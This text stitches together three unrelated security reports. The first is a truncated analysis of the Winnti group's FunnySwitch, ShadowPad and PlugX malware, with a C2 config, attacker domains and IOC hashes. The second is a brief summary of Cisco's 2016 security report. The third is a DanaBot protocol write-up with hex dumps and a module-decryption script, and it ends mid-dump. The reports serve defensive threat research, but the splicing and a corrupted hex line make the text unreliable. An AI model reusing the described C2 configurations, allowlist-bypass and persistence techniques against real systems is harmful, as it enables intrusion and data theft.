`CV.chm`, considering how closely they matched in time as well as the company and "applicant" both being located in St. Petersburg, suggests a connection between these attacks. Most likely, the CHM file attack was used at the beginning stage of the breach, although we do not have solid confirmation for this. Use of typosquatting domains for C2 servers is typical of Winnti and has been described in a Kaspersky report. Battlestate Games received all of the information uncovered by our investigation into the suspected attack. ## 4. A Purloined Certificate Another favorite Winnti technique is theft of certificates for code signing. Compromised certificates are used to sign malicious files intended for future attacks. We found one such certificate belonging to Taiwanese company Zealot Digital: - Name: ZEALOT DIGITAL INTERNATIONAL CORPORATION - Issuer: GlobalSign CodeSigning CA - SHA256 - G2 - Valid From: 07:43 AM 08/20/2015 - Valid To: 07:43 AM 09/19/2016 - Valid Usage: Code Signing - Algorithm: sha256RSA - Thumbprint: 91e256ac753efe79927db468a5fa60cb8a835ba5 - Serial Number: 112195a147c06211d2c4b82b627e3d07bf09 The files signed with it were predominantly used in attacks on organizations in Hong Kong. They include Crosswalk and Metasploit injectors, the juicy-potato utility, and samples of FunnySwitch and ShadowPad. ## 5. FunnySwitch Among the files signed with the Zealot Digital certificate, we discovered two samples of malware containing a previously unknown backdoor. We have called it FunnySwitch, based on the name of the library and one of the key classes. The backdoor is written in .NET and can send system information as well as run arbitrary JScript code, with support for six different connection types, including the ability to accept incoming connections. One of its distinguishing features is the ability to act as a message relay between different copies of the backdoor and a C2 server. ### 5.1 Unpacking The attack in question starts with the SFX archive `x32.exe` (2063fae36db936de23eb728bcf3f8a5572f83645786c2a0a5529c71d8447a9af). The archive unpacks three files (`1.vbs`, `n3.exe`, and `p3.exe`) into the folder `c:\programdata`, after which the extracted VBS script runs both executables. The files `n3.exe` and `p3.exe` are identical and inject shellcode into the process `explorer.exe`. The only difference between them is the final bytes of the shellcode they inject, which contain the XML configuration. In one case, the proxy server `168.106.1[.]1` is specified there in addition: ```xml <?xml version="1.0" encoding="utf-8"?> <Config Group="aa" Password="test" StartTime="0" EndTime="24" WeekDays="0,1,2,3,4,5,6"> <HttpConnector url="http://db311secsd.kasprsky[.]info/config/" proxy="http://168.106.1[.]1/" interval="30-60"/> </Config> ``` A subdomain of `kasprsky[.]info`, `db311secsd.kasprsky[.]info`, is the C2 domain. Interestingly, several of its other subdomains are mentioned in an FBI report. It dates to May 21, 2020, and warns of attacks on organizations linked to COVID-19 research. The job of the shellcode is to launch and execute a method from the .NET assembly located immediately after its code. To do so, it gets a reference to the `ICorRuntimeHost` interface, which it uses to run CLR and create an AppDomain object. The contents of the assembly are loaded into the newly created domain. Reflection is used to run the static method `Funny.Core.Run(xml_config)`, to which the XML configuration is passed. ### 5.2 Funny.dll The backdoor starts by parsing the configuration. Its root element may contain the following fields: - Debug is the flag for enabling debug logging - Group is an arbitrary string sent together with system information. - Password is the key used to encrypt messages. - ID identifies the relay (if not present in the configuration, the GUID is used instead). - StartTime, EndTime, and WeekDays restrict the times and days when the backdoor may function. The `<Config>` element may contain an arbitrary number of elements describing various types of connectors: - `TcpConnector` and `TcpBindConnector` are classes responsible for connecting over TCP as client and server. They have two parameters in common: `address` and `port` (by default, 38001). `TcpConnector` also has the parameter `interval`, which indicates how long to wait before trying to reconnect. - `HttpConnector` and `HttpBindConnector` are HTTP client with support for proxy and HTTP server. Supported client parameters: `url` – address to connect to, `interval` – same as at `TcpConnector`, `proxy` and `cred` – proxy server address and credentials. Server parameters: `url` – list of prefixes on which it will run and `timeout` – client timeout. - `RPCConnector` and `RPCBindConnector` are classes that allow setting up a connection via a Named Pipe. They take a single parameter, `name`, which is the name of the connection. `TcpBindConnector` and `HttpBindConnector` support simultaneous connections for multiple clients. For the network connectors to work, the backdoor adds an allow rule to Windows Firewall with the name "Core Networking ― IPv4" for its executable module. Just like with Crosswalk, there are multiple levels of the protocol: in this case, transport, network, and application. #### 5.2.1 Transport Protocols 1. TCP: TCP supports three types of messages: `PingMessage` (0x1), `PongMessage` (0x2), and `DataMessage` (0x3). The first two monitor the connection and are relevant only at the `TcpConnector`/`TcpBindConnector` level. `DataMessage` contains network-level data. Messages consist of a signature (4 bytes), encrypted header (16 bytes), and optional data. The signature is three random bytes followed by their sum with modulo 256. Incoming messages with an invalid signature are discarded. The header contains the data size (4 bytes) and byte indicating the message type (0x1, 0x2, or 0x3). It is encrypted with AES-256-CBC; the key and IV are taken from the MD5 of the key string. The backdoor uses this encryption method in other cases as well, which is why we refer to it as "standard" in the text that follows. The key string in this case is "tcp_encrypted". 2. HTTP with long polling: There are three types of requests: `GET "connect"`, `GET "pull"`, and `POST "push"`. To start transferring data, the client must connect by sending a GET request to a URL from the configuration and provide a special cookie value. The cookie name is eight random characters. The value is an encrypted Base64 string containing the session GUID and operation name ("connect"). The string is encrypted in the standard way with the key "http". The client then constantly sends GET requests with pull operations. In response, the server returns the relevant array of messages for the client or, if no new messages have arrived in the last 10 seconds, an empty response. Client–server messages are periodically sent as an array as well, for which a POST request with push operation is used. 3. RPC (Pipe): Similar to TCP, except for the absence of connection monitoring. #### 5.2.2 Network-Level Protocol All messages at this level are encrypted in the backdoor's standard way, with the key string "commonkey". Messages are an array of three or four elements: - Message type ("hello_request", "hello_response", "message", "error") - Source serialized array - Destination serialized array - Payload (application-level data) The `MsgPack` class is also used for serialization. The bodies of `hello_request` and `hello_response` messages contain information about the sender's system. When one of these messages is received, the relay saves data about the sender ID, used connector instance, and system data. These message types are used to establish a direct connection between relays. Messages of the "message" type (ones that are not `hello_request`, `hello_response`, or `error`) can be passed via several relays. If its Destination field contains only the ID of the current instance, it will be handled locally; if not, it will be sent to the next relay in the list. For connecting to the next instance, it uses the connector that was saved when exchanging `hello_request` and `hello_response` messages. The backdoor collects the following system information: - Values of the registry keys `ProductName` and `CSDVersion` from `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion` - Whether the OS is 32-bit or 64-bit - List of IP addresses - Computer name - Username and workgroup - Name of running module - PID - MAC addresses of network adapters - Value of the Group attribute in the XML configuration #### 5.2.3 Application-Level Protocol At the application level, data is encrypted in the standard way using the value of the Password attribute from the configuration. If no such value exists, the key string is "test". Data is compressed with GZip prior to encryption. After decryption and decompression, the payload is an array (packed MsgPack) consisting of one or two elements: a string with the name of a command and optional array of bytes (data for the command). These elements, in turn, contain another serialized array, which contains a message string ID (which will be used to send the result of the command) plus the data for the command. #### 5.2.4 Supported Commands | Command | Description | |----------------|-----------------------------------------------------------------------------| | invoke | Run JScript code and get the result. Implementation was separated out into a JSCore .NET assembly, which is dynamically loaded from a Base64 constant defined in the main assembly. | | connect | Takes an XML string with connector configuration and creates the corresponding object. | | update | Packs a response containing the IDs of relays connected to the current copy, together with their system information. | | query | Collects the configuration of active connector instances other than the RPCConnector and RPCBindConnector classes. | | remove | Removes the specified connector. | | createStream | Creates a message queue with the indicated name. The queue connects with the sender of the createStream command. | | closeStream | Deletes the named message queue. | | sendStream | Adds a message (byte array) to the queue with the specified name. | The result of execution of each command is returned to the sender via the `invoke-response` command. #### 5.2.5 Unused Code By all appearances, the FunnySwitch backdoor is still under development, as shown by the incomplete state of message queue functionality. Besides the commands described here already, the code contains the functions `PullStream` and `SendStream`, which are not used anywhere. The first extracts a message from the queue (by queue name), while the second sends its creator an arbitrary set of bytes with the stream-data command. The code also contains several unused classes: an implementation of the KCP protocol, limited-size queue `SizeQueue`, and string serializer `StreamString`. #### 5.2.6 FunnySwitch vs. Crosswalk Based on investigation of the two backdoors, we believe that they were written by the same developers. Several things point at common authorship: - Use of multiple transport protocols - Support for specifying a proxy server - Identical configuration restrictions on time of day and days of the week - Implementation of the KCP protocol - Implemented (and disabled by default) logging of debug messages and errors ## 6. ShadowPad During the investigation, we also discovered two samples containing ShadowPad malware. The first of these is the SFX archive `20200926___Request for wedding reception.exe` (03b7b511716c074e9f6ef37318638337fd7449897be999505d4a3219572829b4). For bait, it contains a Chinese-language Microsoft Word document with the text of a wedding banquet form. The archive contents are unpacked to the folder `c:\programdata`, from where (besides the bait file being opened) the payload `log.exe` is launched. Both the executable file and the DLL library are obfuscated with VMProtect, but we also found identical unprotected versions. An unpacked legitimate component of Bitdefender serves as `log.exe`. It dynamically loads the library `log.dll`. The library, in turn, when loaded checks for whether the current module contains a certain set of bytes at offset 0x2775. If the loading module meets its expectations, these bytes change to a call instruction for a DLL function. As a result, in `log.exe` right after `log.dll` loads, a call is made to the function `sub_100010D0`. The called function is not explicitly exported. A similar technique has been previously described by ESET in the context of Winnti attacks on universities in Hong Kong. ShadowPad malware was used as the payload in these attacks. In our case, the code run afterwards had been obfuscated with a new approach: all functions are split into separate instructions that shuffle between each other. Jumps between instructions occur by means of calls to a special function (`rel_jmp`), which emulates the `jmp` command. The offset at which the jump occurs is written immediately after a call instruction. The obfuscated code is the loader for the subsequent shellcode, which is encrypted in the file `log.dll.dat`. After decryption, the file is deleted and the shellcode is re-encrypted, saved in the registry, and run. When `log.exe` is launched subsequently, the shellcode will be loaded from the registry. The data is stored in a hive with a name resembling the following: `(HKLM|HKCU)\Software\Classes\CLSID\{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}`, in key `%8.8X`. The values inserted in the formatting strings are generated based on the TimeDateStamp in the PE header of `log.dll`, and therefore are always identical for any given library copy. The payload is ShadowPad shellcode that has been obfuscated with the same `rel_jmp` and fake-jb techniques. The following strings are contained in its encrypted configuration: - 6/30/2020 1:25:52 PM - ccc - `%ProgramData%\` - `msdn.exe` - `log.dll` - `log.dll.dat` - `WMNetworkSvc` - `TCP://cigy2jft92.kasprsky.info:443` - `UDP://cigy2jft92.kasprsky.info:53` - `SOCKS4` - `SOCKS5` They include the likely data of module assembly (June 6, 2020), name of the service used by the malware to gain persistence on the system (`WMNetworkSvc`), names of processes into which shellcode can be injected, and the C2 domain `cigy2jft92.kasprsky.info`. As we wrote earlier, the other domain `kasprsky.info` has been used by attackers as a FunnySwitch C2 server. Investigation of subdomains and IP addresses yields another second-level domain, `livehost.live`, whose subdomain `d89o0gm35t.livehost.live` is indicated as a C2 server in one copy of Crosswalk. Moreover, all samples of these backdoors were signed with the stolen Zealot Digital certificate and were likely used together as part of a single campaign. This is not the only example of a connection between the Crosswalk and ShadowPad network infrastructures. Two Crosswalk C2 servers we found contained an SSL certificate with SHA-1 value of `b1d749a8883ac9860c45986e2ffe370feb3d9ab6`. The same certificate was noted at IP address `103.4.29[.]167`, which via the domain `update.ilastname.com` was used as a C2 server for another copy of ShadowPad. ## 7. PlugX The SSL certificate pointed us to another C2 server, with the domain `ns.mircosoftbox.com`. We found that this C2 server is used by an interesting copy of the PlugX backdoor. Its core is typical of PlugX, being an SFX archive that contains the library `mapistub.dll`, which loads as a legitimate executable. But `mapistub.dll` is only a downloader. Google Docs is used to store the payload: the library sends a request to export a certain document in .txt format, decodes it into shellcode with Base64, and runs it. This process and what the similar sample does after that are described in more detail in a report from Dr.Web. Besides the C2 servers in the configuration file, `103.79.76[.]205` and `ns.mircosoftbox.com`, in our case the attackers also used a technique typical of PlugX for getting a C2 server at a specified URL. The C2 address is encoded in the page body between the DZKS and DZJS markers. Again, the address of a Google Docs document is used as the URL. Note that the document is editable without logging in. But when we accessed it for the first time, it had the IP address `107.174.45[.]134`, which is related to the domain `dc-d68d34331440.mircosoftbox.com` and, apparently, had been put in place by the attackers. A similar technique has been used by Winnti in the past. ### 7.1 Paranoid PlugX We were able to detect an additional copy of PlugX that contained shellcode fully identical to that downloaded from Google Docs, except for the encrypted configuration. It, too, is an SFX archive but with different files inside. When unpacked, the archive runs the script `1.vbs`, which in turn passes control to `a.bat`. The main payload is in the file `image.jpg`, which is actually a specially crafted .NET assembly. The assembly launches with the help of `InstallUtil.exe` from .NET Framework, enabling it to bypass application allowlist restrictions. The purpose of `image.jpg` is to run the same PlugX shellcode with the help of `CreateThread`. Its configuration contains two C2 servers: `update.upgradsource.com` and `ns.upgradsource.com`. The domain `upgradsource.com` is mentioned in a Unit42 report on a group of similar samples named "Paranoid PlugX." They received this name due to the presence of a script for wiping traces of malware from the system. Comparing the sample we found to those described in that report, we conclude with strong confidence that it belongs to the same group. Among other reasons, the structure of the .NET Wrapper module in `image.jpg`, and much of the cleanup script `a.bat`, is nearly identical. According to Unit42, the main targets of Paranoid PlugX attacks were gaming companies—which are known to be a typical area of interest for Winnti. Investigation of the network infrastructure provides yet another piece of confirmation of the relationship between Paranoid PlugX and Winnti. ## 8. Conclusion Winnti has an extensive arsenal of malware, as can be seen from the group's attacks. Winnti uses both widely available tools (Metasploit, Cobalt Strike, PlugX) and custom-developed ones, which are constantly increasing in number. By May 2020, the group had started to use its new backdoor, FunnySwitch, which possesses unusual message relay functionality. One distinguishing trait of the group's backdoors is support for multiple transport protocols for connecting to C2 servers, which complicates efforts to detect malicious traffic. Malicious files of varying resemblance are used to install the payload, from primitive RAR and SFX-RAR files to reuse of malware from other groups and multistage threats with vulnerability exploits and non-trivial shellcode loaders. But the payload may be one and the same in all these cases. Most likely, the choice is dictated by the precision (or lack thereof) of an attack: unique infection chains and highly attractive bait are held back for targeted attacks. Winnti continues to pursue game developers and publishers in Russia and elsewhere. Small studios tend to neglect information security, making them a tempting target. Attacks on software developers are especially dangerous for the risk they pose to end users, as already happened in the well-known cases of CCleaner and ASUS. By ensuring timely detection and investigation of breaches, companies can avoid becoming victims of such a scenario. ## 9. PT Products Detection Names ### 9.1 PT Sandbox - Trojan-Dropper.Win32.Higaisa.a - Backdoor.Win32.CobaltStrike.a - Trojan-Dropper.Win32.Winnti.a - Trojan-Dropper.Win32.Winnti.b - Trojan-Dropper.Win32.Shadowpad.a - Backdoor.Win32.Shadowpad.c - Backdoor.Win32.FunnySwitch.a ### 9.2 PT Network Attack Discovery - REMOTE [PTsecurity] Crosswalk - SHELL [PTsecurity] Metasploit/Meterpreter - REMOTE [PTsecurity] Cobalt Strike Beacon Observed - REMOTE [PTsecurity] Cobalt Strike (jquery profile) - REMOTE [PTsecurity] FunnySwitch - SPYWARE [PTsecurity] ShadowPad - REMOTE [PTsecurity] PlugX ## 10. Applications ### 10.1 Known Names of Files from Which PL Shellcode May Be Loaded - C_99401.NLS - DriverStatics.ax - DrtmAuth005.bin - DrtmAuth13.bin - FINTCACHE.DAT - SEService.dat - Theme.re - WspTst.xsl - cbdhsvcs.bin - chrome_proxy.dll - config.ini - localsvc.ax - log.txt - msdsm.tlb - normnfa.nls - normnfw.nls - services.bin - soundsvc.sys - storesync.dat - storesyncsvc.ini - svchosl.bin - svchost.bin - wbemcomn64.sys - wbemcomna.dat - winness.exe.config - winupdate.txt ### 10.2 IOCs **File Indicators** **LNK File Attacks** - 1074654a3f3df73f6e0fd0ad81597c662b75c273c92dc75c5a6bea81f093ef81 - 9b638f77634f535e52527d43ad850133788bfb0c - c657e - 0deb252a5048c3371358618750813e947458c77e651c729b9d51363f3d16b583 - f50b624ba6eb9d3947f22cf7f95a6f70b7c463d3 - a1404 - 8e6945ae06dd849b9db0c2983bca82de1dddbf79afb371aa88da71c19c44c996 - 5b8e644acc097f7123172d96a3a45bd398661064 - 93ffd5 - c0a0266f6df7f1235aeb4aad554e505320560967248c9c5cce7409fc77b56bd5 - d500cec0ce5358751f3371b69a4a9bc402df8af4 - 45278 - bcfff6c0d72a8041a37fe3cc5c0233ac4ef8c3b7c3c6bca70d2fcfaed4c5325e - 1a33f41d054a2ed2d395b19852583daddd056bb4 - 177e3 - 35a1ff5b9ad3f46222861818e3bb8a2323e20605d15d4fe395e1d16f48189530 - 0a462e8e3b153e249507b1652d9f6180463e7027 - 17548 - beaa2c8dcf9fbf70358a8cf71b2acee95146dba79ba37943a939a2145b83b32e - acf5f997a16937072a2a72f1ba7704f9703ea27c - e5809 - dca8fcb7879cf4718de0ee61a88425fca9dfa9883be187bae3534076f835a54d - db6333f84538a21466e5ffe3c7102e0543cec167 - d53da - 4733d1204b06dc95178e83834af61934a423534e1d4edd402b37e226f0f2727f - dba010496a7be2e5de1f923ffdfc19bf345b650b - 9776f0 - dcd2531aa89a99f009a740eab43d2aa2b8c1ed7c8d7e755405039f3a235e23a6 - 281c1b196cd992906d8583e64011dc28d9c52e3c - 4a4a2 - d4df4b58ee241e276ea03235445c04d1a28e48ec8b6e2599a56f6c4b8af3269b - 7b6b01e9f726ab0b5f94cd68687d4787008cd7f5 - 4dcd2 - d064f675765f54ee80392fcfb5d136cd2407d06d0ea8cd7d8632d1a2b24c0439 - 8b8b1219581555f2d9747b289d57c3e0e274fd07 - 260ea - 32705d3d9f7058e688b471e896dce505b3c6543218be28bbac85f6abbc09b791 - 289b5017f5ee8c915f755b1c7eefffbfb3d2d799 - 28bfed - c613487a5fc65b3b4ca855980e33dd327b3f37a61ce0809518ba98b454ebf68b - 0f1f2431ecccb980f7d93b9af52139d0d508510f - 997ab - 4e5e3762c850536aac6add3a5ac66f54cbd15c37bd8fc72d3ade9dd5e17f420b - 21a5bcd916bc61585cfe1d5656240237e24157b9 - 07254 - 2d182910dade1237f1dd398d1e7af0d6eca3a74a6614089a3af671486420fb2b - 0261490fb7f88cc3e9db6aa3fd185d03d7646864 - f68867 **Shellcode Injectors** **Payload: Crosswalk** - 0046df35f66a3b076d9206412be2f1f7ea4641d96574e7b58578c0c0995d1feb - b73fcfc423d1bdb4649440689ff4894639b3bd0e - 9697d6 - 325430384d642ab2a902fb0e268e85808b6cbf87506ccdc314e116e7d1b8239e - 0f2a5bbe03c5b3422609b78ca90fb7f06bfd966b - eee464 - 9e27f110fc824d8b85855538c3320e8ea436e82737d686fcecb512b6f872e172 - 4481c4b0cf2207099c7b5979a6e81a2923d6c698 - 254ace - bec68bcaa80bb00274ef7066ddc8de1b289fb5f8b8e8573f3a961664f41da9d7 - cc24843afd627ced74a1d713328078a23db81e54 - 914151 - 3454d87b2ce0eab44c07774c7b56318710f9a63626d6d2aaf898922178bf2792 - e6cd7a9f5b421b80b50e5809c35732c427c6b6d8 - fbfeece - 1e29e07b404836c82cd9b75e44a3169195a335dc494ba27f744f6605666c26aa - a1e0ce3c384945fdde841d91d069505879587217 - d19c5c - 3a9bbf4ee872904e729466aa50d570b43451b0945a41b5d9d114f8c24683c21e - 5d1bada317d596f3dec5b86e4e42639b2f5f71ac - 6d967f2 - faca607b43551044fda3c799ce7e9ce61004100544eeb196734972303f57f2ae - 159a5ca55d7c62d0167740f8f5310e18e03a8fd3 - 4518f25
# Cisco 2016 Annual Security Report ## Executive Summary Security professionals must rethink their defense strategies. Adversaries and defenders are both developing technologies and tactics that are growing in sophistication. For their part, bad actors are building strong back-end infrastructures with which to launch and support their campaigns. Online criminals are refining their techniques for extracting money from victims and for evading detection even as they continue to steal data and intellectual property. The Cisco 2016 Annual Security Report—which presents research, insights, and perspectives from Cisco Security Research—highlights the challenges that defenders face in detecting and blocking attackers who employ a rich and ever-changing arsenal of tools. The report also includes research from external experts, such as Level 3 Threat Research Labs, to help shed more light on current threat trends. We take a close look at data compiled by Cisco researchers to show changes over time, provide insights on what this data means, and explain how security professionals should respond to threats. ## Industry Insights This section examines security trends affecting enterprises, including the growing use of encryption and the potential security risks it presents. We look at the weaknesses in how small and midsize businesses (SMBs) are protecting their networks. And we present research on enterprises relying on outdated, unsupported, or end-of-life software to support their IT infrastructure. ### Encryption: A Growing Trend—and a Challenge for Defenders Encryption makes sense. Companies need to protect their intellectual property and other sensitive data, advertisers want to preserve the integrity of their ad content and back-end analytics, and businesses are placing more focus on protecting their customers’ privacy. But encryption also creates security issues for organizations—including a false sense of security. Organizations have become better at encrypting data when it is transmitted between entities, but data at rest is often left unsecured. Many of the most notable breaches in the last few years have taken advantage of unencrypted data stored in the data center and other internal systems. It is also important for organizations to understand that end-to-end encryption can lessen the effectiveness of some security products. Encryption conceals the indicators of compromise used to identify and track malicious activity. Security tools and their operators need to adapt to this brave new world by gathering headers and other non-encrypted parts of the data stream along with other sources of contextual information to analyze encrypted traffic. ### Threat Intelligence Cisco has assembled and analyzed a global set of telemetry data for this report. Our ongoing research and analysis of discovered threats, such as malware traffic, can provide insights on possible future criminal behavior and aid in the detection of threats. #### Major Developments and Discoveries Cybercriminals have refined their back-end infrastructures to carry out attacks in ways that increase efficiency and profits. Cisco, with help from Level 3 Threat Research Labs and cooperation from the hosting provider Limestone Networks, identified and sidelined the largest Angler exploit kit operation in the United States, which was targeting 90,000 victims per day and generating tens of millions of dollars annually for the threat actors behind the campaign. SSHPsychos (Group 93), one of the largest distributed denial of service (DDoS) botnets ever observed by Cisco researchers, was significantly weakened by the combined efforts of Cisco and Level 3 Threat Research Labs. This success points to the value of industry collaboration to combat attackers. Malicious browser extensions can be a major source of data leakage for businesses and are a widespread problem. We estimate that more than 85 percent of organizations studied are affected by malicious browser extensions. Aging infrastructure is growing and leaves organizations increasingly vulnerable to compromise. We analyzed 115,000 Cisco devices on the Internet and discovered that 92 percent of the devices in our sample were running software with known vulnerabilities. In 2015, security executives showed lower confidence in their security tools and processes than they did in 2014, according to Cisco’s 2015 Security Capabilities Benchmark Study. However, their growing concerns about security are motivating them to improve their defenses. ### Threat Updates The Adobe Flash platform has been a popular threat vector for criminals for several years. Flash vulnerabilities still turn up frequently on lists of high-urgency alerts. In 2016, criminals are most likely to focus their exploits and attacks on Adobe Flash users. Cisco researchers have been watching a general decline in the amount of Adobe Flash content on the web. Recent actions by Amazon, Google, and other large players in the Internet space are a factor for the decrease in Flash content. The decline in Flash content is likely to continue—and perhaps, even accelerate—in the near term now that Adobe has announced that it will be phasing out Flash. ### Web Block Activity: Geographic Overview We examined where malware-based block activity originates by country or region. Countries and regions with block activity that we consider higher than normal probably have many web servers and hosts with unpatched vulnerabilities on their networks. A presence in large, commercially viable networks that handle high Internet volume is another factor for high block activity. ### Conclusion The Cisco 2016 Annual Security Report provides valuable insights into the evolving landscape of cybersecurity threats and the measures organizations can take to protect themselves. As adversaries continue to refine their tactics and technologies, it is crucial for defenders to adapt and enhance their security strategies accordingly.
# DanaBot Communications Update ## Introduction Since the last blog post from Proofpoint about the version 4 of DanaBot, the new samples available in the Threat Intel repository integrate minor changes in their architecture and communications. This short blog post is about the differences spotted between those different versions. As a reminder, you can find details on the four major versions here: - **Version 1:** DanaBot - A new banking Trojan surfaces Down Under | Proofpoint US - **Version 2:** DanaBot Gains Popularity and Targets US Organizations in Large Campaigns | Proofpoint US - **Version 3:** DanaBot updated with new C&C communication | WeLiveSecurity - **Version 4:** New Year, New Version of DanaBot | Proofpoint US ## DanaBot Downloader Unlike the previous versions, the latest samples found in public repositories included a component that first downloaded and loaded the main module along with configurations and plugins. That's why two TCP streams appear instead of one in version 4: ### TCP Streams The first TCP connection comes from the Downloader, which downloads the main module (about 14 Mb of encrypted and compressed data), and the second one from the main module itself (similar to version 4). ### Downloader Communication Protocol To download the main module, the Downloader sends two requests. The requests sent above respect the DanaBot communication protocol described by ESET. The first packet is used to transmit the new RSA public key generated on the host, and the second one is a packet with a very specific structure used to send instructions and data to the C2. Like version 4, the packet structure is in binary format and has a plaintext header (0x1C bytes long). The packet data structure size is lower than version 4 with 455 bytes, and some hashes embedded in the structure are formatted differently. Indeed, before, all hashes were formatted using the Delphi TMemoryStream classes, and now only the "random hash" has kept this format. You can find below the packet structure used by the Downloader to download the main module: | Offset | Size | Name | Notes | |--------|-----------|----------------|-------| | 0x00 | 4-bytes | Packet length | | | 0x04 | 8-bytes | Random value | | | 0x0C | 8-bytes | Checksum | Packet length + random value | | 0x14 | 4-bytes | Affiliate ID | Hardcoded field embedded in the Downloader | | 0x18 | 4-bytes | Command | Command to send (2048) | | 0x1C | 4-bytes | Sub-command | Sub-command to send (0) | | 0x20 | 60-bytes | Remaining null bytes | | | [0x5C] | 1-byte | Embedded hash length | | | 0x5D | 32-bytes | Embedded hash value | Embedded hash in the Downloader | | [0x7D] | 1-byte | Embedded hash length | | | 0x7E | 32-bytes | Embedded hash value | This hash should be the same as above but it can be an embedded hash from an old/new sample. The downloaded module will vary according to this hash. | | [0x9E] | 1-byte | Checksum Hash length | | | 0x9F | 32-bytes | Checksum value | MD5 uppercase hex digest of affiliate ID, and the two previous hash values concatenated together | | [0xBF] | 4-bytes | Random hash length | Raw Delphi TMemoryStream format | | 0xC3 | 4-bytes | Random hash CRC32 | | | [0xC7] | 33-bytes | Random hash value | | | 0xE8 | remaining | Remaining null bytes | | You can find below an example of a request generated and sent by the Downloader to download the main module: ``` 00000000: [c7 01 00 00][12 66 00 00 00 00 00 00][d9 67 00 00 00000010: 00 00 00 00][04 00 00 00][d0 0f 00 00][00 00 00 00] 00000020: [00 00 00 00][00 00 00 00 00 00 00 00 00 00 00 00 00 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000050: 00 00 00 00 00 00 00 00 00 00 00 00][20][36 41 44 00000060: 39 46 45 34 46 39 45 34 39 31 45 37 38 35 36 36 00000070: 35 45 30 44 31 34 34 46 36 31 44 41 42][20][36 41 00000080: 44 39 46 45 34 46 39 45 34 39 31 45 37 38 35 36 00000090: 36 35 45 30 44 31 34 34 46 36 31 44 41 42][20][35 000000A0: 34 37 34 41 39 35 46 34 39 37 36 42 43 31 38 33 000000B0: 37 33 31 31 45 39 44 33 42 32 36 46 39 36 45][20 000000C0: 00 00 00][ef 16 f0 dd][46 37 39 30 45 45 34 45 37 000000D0: 38 46 32 43 38 34 34 37 41 38 38 30 43 46 31 43 000000E0: 43 44 42 32 46 46 32 00][00 00 00 00 00 00 00 00 000000F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ``` Each data received from the C2 is encrypted using AES, and the key located in the last 80 bytes is itself encrypted using RSA. The needed RSA key is the private key generated by the Downloader. ## Main Module Decryption The main module is protected by a second layer of encryption on top of DanaBot communication. Indeed, the module is encrypted using the same techniques, but the needed RSA key is the one embedded in the Downloader. The AES deciphering is using CBC mode with a null IV and it operates by blocks of 0x10010 bytes. It can be resumed with the following scripts: ```python from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from wincrypto import CryptImportKey, CryptDecrypt import pwn import sys if len(sys.argv) == 3: hardcoded_key = open(sys.argv[1], 'rb').read() enc_data = open(sys.argv[2], 'rb').read() else: exit() def aes_decrypt(key, data): cipher = AES.new(key, AES.MODE_CBC, iv=b"\x00" * 16) plaintext = unpad(cipher.decrypt(data), AES.block_size) return plaintext rsa_pub_key = CryptImportKey(hardcoded_key) encrypted_aes_key = CryptDecrypt(rsa_pub_key, enc_data[-0x80:]) print("AES key : %s" % encrypted_aes_key[-0x20:].hex()) enc_data = enc_data[0x0:-0x80] aes_bloc_size = pwn.u32(enc_data[-0x4:]) enc_data = enc_data[0x0:-0x4] len_enc_data = len(enc_data) offset = 0 final = b'' while len_enc_data > 0: if len_enc_data <= 0x100000: pdwDataLen = len_enc_data else: pdwDataLen = 0x100000 + aes_bloc_size dec = aes_decrypt(encrypted_aes_key[-0x20:], enc_data[offset:offset + pdwDataLen]) final = final + dec len_enc_data = len_enc_data - pdwDataLen offset = offset + pdwDataLen with open("./aes_decrypt_file.bin", "wb") as f: f.write(final) ``` Once decrypted, the first four bytes are the compressed buffer size followed by the Zlib magic headers and data: ``` 00000000:[35 29 d1 00][78 9c][bc bd 0b 7c 53 55 b6 30 7e 92 00000010: 9c 36 69 1b 9a 14 82 14 44 2c 1a 15 04 91 5a 54 ``` The uncompressed data is a DLL (the main module) similar to the unpacked main module in version 4, although it seems bigger with a size around 18M. Further communications from the main module are similar to version 4 as described in the Proofpoint blog post, except that the data structure is the same as talked previously. ## DanaBot Commands DanaBot commands and sub-commands are used to indicate to the recipient how to handle data. In the version analyzed, all the main commands (with id 2048) and sub-commands described by Proofpoint are still present except for the sub-command 10 since the Tor module is already included. ### Commands 2048, Sub-command 6 This sub-command is used for online functionalities, that's why C2 reply may be empty. By analyzing these parts, two "online" functionalities were added. The first one may still be under development. Indeed, except for the strings "InstallRDP" found in the function, nothing much is done. #### InstallRDP The second one is very similar to the stealer plugin (started in a thread at the beginning of the process) and the following information is gathered on the victim host: - Vault Credentials - OS - Computer name - Local Country - Language - Actual Time - WinKey - Desktop - Uptime - HDDs - Browsers on the host - Processes running - Default browser - Installed programs path - Installed programs names - OS Name - OS Version - System Manufacturer - System Model - System Type - Processor Name - Network Card - Connection Name - Network Status - DHCP Enabled - DHCP Server - IP address - MAC Address - Mute - Volume - Wifi - Bluetooth - Printer - Wallpaper path - Tray - SystemHiddenFiles - BiosTime - IsBattery - PowerLevel - Logical processor count - NUMA Node count - Processor Core count ### Commands 2048, Sub-command 3 This sub-command is mainly used to activate/deactivate plugins and set options. First, the main module is asking the C2 for the list of "CommandRecords" available by sending the sub-command 2. A list of hashes is received: ``` 00000000: 3336 3931 4335 4244 3239 4239 4432 3333 3691C5BD29B9D233 00000010: 3933 3946 4345 4538 4438 3444 3246 3845 939FCEE8D84D2F8E 00000020: 0d0a 3342 3446 4438 4234 4530 4644 3130 ..3B4FD8B4E0FD10 00000030: 4143 4537 4443 3537 3741 3137 3033 3635 ACE7DC577A170365 00000040: 4232 0d0a 3446 3036 3833 3742 4339 3530 B2..4F06837BC950 00000050: 3237 3839 4242 4638 4639 383 four 4639 3730 2789BBF8F984F970 00000060: 3841 3537 0d0a 3632 3236 4334 3531 4645 8A57..6226C451FE 00000070: 4333 3144 4346 4143 4332 3830 3437 4338 C31DCFACC28047C8 00000080: 4238 4237 4338 0d0a 3533 3530 3136 4146 B8B7C8..535016AF 00000090: 4345 3845 4432 4231 3430 3436 4338 4644 CE8ED2B14046C8FD 000000A0: 4534 4635 4244 4233 0d0a ``` Then, for each of those hashes, the sub-command 3 is sent with the "CommandRecords" hash in parameters. In the data received, there is a command field that indicates to the main module how to handle and what to do with the payload located at the packet end: ``` 00000000: [20][33 36 39 31 43 35 42 44 32 39 42 39 44 32 33 00000010: 33 39 33 39 46 43 45 45 38 44 38 34 44 32 